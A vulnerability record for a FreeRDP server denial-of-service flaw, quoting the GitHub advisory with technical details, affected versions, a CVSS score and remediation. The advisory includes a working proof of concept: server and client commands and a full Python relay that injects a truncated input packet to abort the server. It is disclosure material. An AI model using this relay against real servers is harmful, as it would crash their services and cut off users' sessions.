FreeRDP server aborts on truncated unknown slow-path input event
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-4qq4-qwxq-49m8. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP versions from 3.0.0 through 3.32.1 are affected. A remote RDP client that has established a session can send a slow-path input event with an unknown message type and no body, which leaves the server's stream cursor past the packet's declared length. When the server is built with active WinPR assertions, a reachable assertion (CWE-617) aborts the server process, denying service to the server and its sessions. An unauthenticated remote client can trigger this when the server runs with authentication disabled, and the advisory reports no confidentiality or integrity impact.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A remote RDP client can terminate a FreeRDP server process when the server is built with active WinPR assertions. After establishing a session, the client sends a slow-path input event with an unknown message type and omits the event's six-byte body. The server accepts the event header, advances its stream cursor past the packet's declared length, then aborts when the packet-consumption check asserts that the cursor is still within that length. The demonstrated impact is denial of service to the server process and its sessions. This does not bypass authentication or demonstrate information disclosure or data modification. ### Details ### Affected versions and prerequisites The vulnerable parser and assertion check are present in FreeRDP stable releases 3.0.0 through 3.32.1. No fixed release is identified. The same parser code appears in 2.11.8, but that release does not contain the assertion sink that produces this process abort. The first stable release I verified with both parts of the crash path is 3.0.0. The abort requires a build where `WINPR_ASSERT` is active: either `WITH_VERBOSE_WINPR_ASSERT=ON` or a build with ordinary assertions enabled. The reproduction uses `WITH_VERBOSE_WINPR_ASSERT=ON`; builds with that option disabled and `NDEBUG` defined do not trigger this assertion. With verbose assertions off and `NDEBUG` defined, the assertion does not abort; the source's fallback logs a fatal stream error and returns zero. That configuration's subsequent connection behavior was not runtime-tested, so this advisory only claims the demonstrated process termination for builds with active assertions. The affected component is the FreeRDP server-side RDP peer. In the reproduced configuration, a remote client does not need credentials: the server was started with `-auth`, which disables the requirement that clients authenticate. The test client supplied username and password arguments, but the server did not require or check them. The client used standard RDP security (`/sec:rdp`), so the tested run did not use NLA. A deployment that requires NLA still requires the peer to authenticate before it can reach the active session state. The input is dispatched only after session activation. A client-role FreeRDP process is not affected by this server-side parser path. ### Technical details In FreeRDP 3.32.1, `input_recv` checks for six bytes per event. `input_recv_event` checks that the six-byte event header is present, reads the four-byte timestamp and two-byte message type, and handles unknown types as follows: ```c default: WLog_ERR(TAG, "Unknown messageType %" PRIu16 "", messageType); /* Each input event uses 6 bytes. */ Stream_Seek(s, 6); break; ``` For an unknown type, those six skipped bytes are the event body after the already-read header. The parser does not check that those bytes remain within the packet's declared length. `Stream_Seek` checks remaining buffer capacity, which can extend past the shorter, sealed packet length, so the seek succeeds and `input_recv_event` returns success. The server then checks whether the TPKT stream was fully consumed. `Stream_GetRemainingLength` contains the assertion `cur <= _s->length`. The cursor is six bytes beyond the sealed length, so an assertion-enabled build calls the assertion handler, which logs a fatal error and aborts the process. The proof of concept sends a 43-byte packet after the relay observes the server create the RDP Graphics dynamic channel. The packet contains one event with message type 6 and no event body. The server logs Unknown messageType 6, followed by a fatal cur <= _s->length assertion, and the relay observes the upstream connection reset. This confirms process termination on an assertion-enabled build. It does not establish the same abort in builds where assertions are disabled. ### Proof of concept Use FreeRDP 3.32.1-dev0 with `WITH_VERBOSE_WINPR_ASSERT=ON` and an existing isolated X display. The run used X display `:99`; the commands below assume it is already running. The server is configured with client authentication disabled. The source path is also present in stable 3.32.1; the live crash was reproduced on the development build. Start the shadow server in one terminal: ```sh DISPLAY=:99 freerdp-shadow-cli /bind-address:127.0.0.1 /port:3393 -auth /log-level:INFO ``` Start the following relay in a second terminal. It forwards a normal RDP session and injects the malformed input packet when it sees the server's RDP Graphics channel-create marker. The inline relay prints progress to standard output: ```sh python3 - <<'PY' import socket import struct import threading import time LISTEN = ("127.0.0.1", 3392) UPSTREAM = ("127.0.0.1", 3393) MARKER = b"Microsoft::Windows::RDS::Graphics" def log(message): print(f"{time.time():.3f} {message}", flush=True) def attack_packet(): body = ( struct.pack("<HHH", 28, 0x17, 0x03F1) + struct.pack("<I", 0x000103F1) + bytes([0, 1]) + struct.pack("<H", 10) + bytes([0x1C, 0]) + struct.pack("<H", 0) + struct.pack("<HHIH", 1, 0, 0, 6) ) user_data = b"\x64\x00\x08\x03\xEB\x70\x80" + bytes([len(body)]) + body return b"\x03\x00" + struct.pack("!H", 7 + len(user_data)) + b"\x02\xF0\x80" + user_data def handle(client, address): try: upstream = socket.create_connection(UPSTREAM, 5) log(f"accepted {address}; upstream connected") except Exception as error: log(f"upstream connection failed: {error!r}") client.close() return lock = threading.Lock() fired = threading.Event() buffer = bytearray() def client_to_server(): try: while True: packet = client.recv(65536) if not packet: break with lock: upstream.sendall(packet) except Exception as error: log(f"client-to-server relay: {error!r}") log("client-to-server relay ended") def server_to_client(): try: while True: packet = upstream.recv(65536) if not packet: break buffer.extend(packet) if not fired.is_set() and MARKER in buffer: log("RDP Graphics channel-create marker observed; injecting input packet") injected = attack_packet() log(f"crafted packet length={len(injected)}") with lock: upstream.sendall(injected) fired.set() if len(buffer) > len(MARKER): del buffer[:-len(MARKER)] client.sendall(packet) except Exception as error: log(f"server-to-client relay: {error!r}") log(f"server-to-client relay ended; injected={fired.is_set()}") client_thread = threading.Thread(target=client_to_server) server_thread = threading.Thread(target=server_to_client) client_thread.start() server_thread.start() client_thread.join() server_thread.join() client.close() upstream.close() server = socket.socket() server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(LISTEN) server.listen(4) log(f"listening on {LISTEN}; forwarding to {UPSTREAM}") while True: client, address = server.accept() threading.Thread(target=handle, args=(client, address), daemon=True).start() PY ``` Connect through the relay in a third terminal. The recorded run passed these username and password arguments, but the server's `-auth` setting did not require authentication: ```sh DISPLAY=:99 timeout 8s xfreerdp /v:127.0.0.1:3392 /u:scan /p:scan /sec:rdp /cert:ignore /size:800x600 /log-level:INFO ``` The observed server output included `Unknown messageType 6` followed by a fatal `cur <= _s->length` assertion. The relay then observed the upstream connection reset. In the captured run, the client was stopped by an eight-second timeout after the server terminated; that client timeout is not a separate crash. No assertion-disabled control run was performed. ### Impact A remote client with the access required to establish an active RDP session can abort the FreeRDP server process when assertions are active. This makes the service unavailable and terminates other sessions handled by that process. The reproduction demonstrates process termination only; it does not demonstrate confidentiality loss, integrity loss, or memory corruption. When the server is built with active WinPR assertions and does not require client authentication, a remote unauthenticated client can terminate the server process. For that tested configuration, suggested severity is High, CVSS 3.1 7.5: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`. If NLA is required, the attacker must first authenticate to reach the active-session parser. This severity does not claim that assertion-disabled builds terminate. ### Suggested remediation Before skipping an unknown event body, verify that all six bytes remain within the declared input PDU length. Also validate the full fixed-size input event before parsing it, rather than checking only six bytes per event. A malformed or unsupported event should be rejected through normal connection error handling; a peer-controlled length mismatch should never reach a process-aborting assertion. Add regression coverage for an unknown message type with a complete event body, the same header truncated before its body, multiple events with a truncated final event, and both assertion-enabled and release-style builds. No fixed release is identified.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.0.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-4qq4-qwxq-49m8 |
- FreeRDP (c/c++) Vendor— Affected >= 3.0.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-4qq4-qwxq-49m8
Remediation
Upgrade FreeRDP to version 3.32.2, which is listed as the fixed release.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-4qq4-qwxq-49m8 FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-4qq4-qwxq-49m8
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences